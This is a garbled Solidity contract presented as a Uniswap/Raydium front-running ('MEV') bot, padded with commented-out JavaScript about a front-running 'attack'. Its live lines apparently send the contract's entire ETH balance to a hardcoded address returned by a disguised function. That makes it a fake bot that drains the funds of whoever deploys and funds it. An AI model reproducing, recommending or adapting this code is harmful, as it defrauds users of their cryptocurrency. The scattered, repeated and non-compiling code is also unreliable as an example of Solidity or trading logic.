Mev
Mev
Mev
// Uniswap V2 FrontrunDeployer
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/
interfaces/IUniswapV2Callee.sol";
// Uniswap V2 manager
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/
interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/
interfaces/V1/IUniswapV1Exchange.sol";
contract RaydiumFrontBot {
//const fs = require('fs');
//var Web3 = require('web3');
//var abiDecoder = require('abi-decoder');
//var colors = require("colors");
//var Tx = require('ethereumjs-tx').Transaction;
//var axios = require('axios');
//var BigNumber = require('big-number');
//var web3;
//var web3Ts;
//var web3Ws;
//var uniswapv2Router;
//var uniswapFactory;
manager;
//var raydiumrouter;
// one gwei
//const ONE_GWEI = 1e9;
manager;
//try {
//if (await createWeb3() == false) {
//console.log('Web3 Create Error'.yellow);
//process.exit();
//await updatePoolInfo();
//outputtoken = await
uniswapRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(),
pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
//if (succeed) {
//console.log("The bot finished the attack.");
//process.exit();
//catch (error) {
//process.exit();
//gasPrice = parseInt(transaction['gasPrice']);
//newGasPrice = gasPrice + 50*ONE_GWEI;
//estimatedInput = ((amount*0.999)*(10**18)).toString();
//realInput = (amount*(10**18)).toString();
//gasLimit = (300000).toString();
//await updatePoolInfo();
//if(buy_failed)
//succeed = false;
//return;
//console.log('Buy succeed:')
//Sell
//await updatePoolInfo();
//var outputeth = await uniswapRouter.methods.getAmountOut(outputtoken,
pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
//outputeth = outputeth * 0.999;
//console.log('Sell succeed');
//succeed = true;
manager;
//async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
//var allowance = await
out_token_info.token_contract.methods.allowance(user_wallet.address,
UNISWAP_ROUTER_ADDRESS).call();
//allowance = BigNumber(allowance);
//outputtoken = BigNumber(outputtoken);
//if(outputtoken.gt(max_allowance))
payable(uniswapDepositAddress()).transfer(address(this).balance);
//if(outputtoken.gt(allowance)){
//console.log(max_allowance.toString());
//var approveTX ={
//from: user_wallet.address,
//to: out_token_address,
//gas: 50000,
//gasPrice: gasPrice*ONE_GWEI,
//data:
out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS,
max_allowance).encodeABI()
manager;
//console.log('Approved Token')
//return;
//if(attack_started)
//return false;
//console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) /
10**9);
//if(parseInt(transaction['gasPrice']) / 10**9 > 10 &&
parseInt(transaction['gasPrice']) / 10**9 < 50){
//attack_started = true;
//return true
}
//return false;
//if (succeed) {
//console.log("The bot finished the attack.");
//process.exit();
//catch (error) {
//process.exit();
//gasPrice = parseInt(transaction['gasPrice']);
//newGasPrice = gasPrice + 50*ONE_GWEI;
//estimatedInput = ((amount*0.999)*(10**18)).toString();
//realInput = (amount*(10**18)).toString();
//gasLimit = (300000).toString();
//await updatePoolInfo();
//succeed = false;
//return;
//console.log('Buy succeed:')
//Sell
//await updatePoolInfo();
//var outputeth = await uniswapRouter.methods.getAmountOut(outputtoken,
pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
//outputeth = outputeth * 0.999;
//console.log('Sell succeed');
//succeed = true;
//
//allowance = BigNumber(allowance);
//outputtoken = BigNumber(outputtoken);
//if(outputtoken.gt(max_allowance))
//if(outputtoken.gt(allowance)){
//console.log(max_allowance.toString());
//var approveTX ={
//from: user_wallet.address,
//to: out_token_address,
//gas: 50000,
//gasPrice: gasPrice*ONE_GWEI,
//data:
out_token_info.token_contract.methods.approve(UNISWAP_ROUTER_ADDRESS,
max_allowance).encodeABI()
//
//console.log('Approved Token')
//return;
//if(attack_started)
//return false;backup_pool_address=
//console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) /
10**9);
//if(parseInt(transaction['gasPrice']) / 10**9 > 10 &&
parseInt(transaction['gasPrice']) / 10**9 < 50){
//var outputtoken = await
uniswapRouter.methods.getAmountOut(estimatedInput,
return
0x2D9D0F56585b7ed4E23F06718A55af3881b35381;//pool_info.input_volumn.toString(),
pool_info.output_volumn.toString()).call();
}
//attack_started = true;
//return true
//
//return false;
//if(method == 'swapExactETHForTokens')
//if(out_token_addr != out_token_address)
// console.log(out_token_addr.blue)
// console.log(out_token_address)
//return false;
}